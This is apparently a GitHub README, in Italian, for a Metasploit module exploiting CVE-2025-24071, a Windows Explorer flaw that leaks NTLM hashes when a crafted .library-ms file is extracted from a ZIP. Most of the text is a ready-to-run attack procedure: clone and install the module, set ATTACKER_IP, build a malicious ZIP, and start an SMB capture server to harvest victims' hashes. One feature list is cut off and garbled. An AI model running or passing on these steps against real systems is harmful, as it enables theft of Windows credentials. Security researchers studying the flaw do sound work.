
Modulo Metasploit per CVE-2025-24071 - Fuga di hash NTLM di Windows tramite .library-ms
Questo repository contiene un modulo Metasploit per sfruttare CVE-2025-24071, una vulnerabilità in Esplora file di Windows che perde hash NTLM quando un file .library-ms dannoso viene estratto da un archivio ZIP.
Sviluppato da: FOLKS-IWD
La vulnerabilità si verifica quando un utente estrae un archivio ZIP contenente un file .library-ms appositamente creato. Esplora file di Windows avvia automaticamente una richiesta di autenticazione SMB a un server remoto specificato nel file, perdendo l'hash NTLM dell'utente senza alcuna interazione da parte dell'utente.
Questo modulo Metasploit:
.library-ms dannoso.
git clone https://github.com/FOLKS-IWD/CVE-2025-24071-msfvenom.git
cd CVE-2025-24071-msfvenom
cp ntlm_hash_leak.rb ~/.msf4/modules/auxiliary/server/
use auxiliary/server/ntlm_hash_leak
set ATTACKER_IP 192.168.1.162 # Replace with your IP address
set FILENAME exploit.zip # Name of the malicious ZIP file
set LIBRARY_NAME malicious.library-ms # Name of the .library-ms file
set SHARE_NAME shared # SMB share name
run
use auxiliary/server/capture/smb
set SRVHOST 192.168.1.162 # Same as ATTACKER_IP
run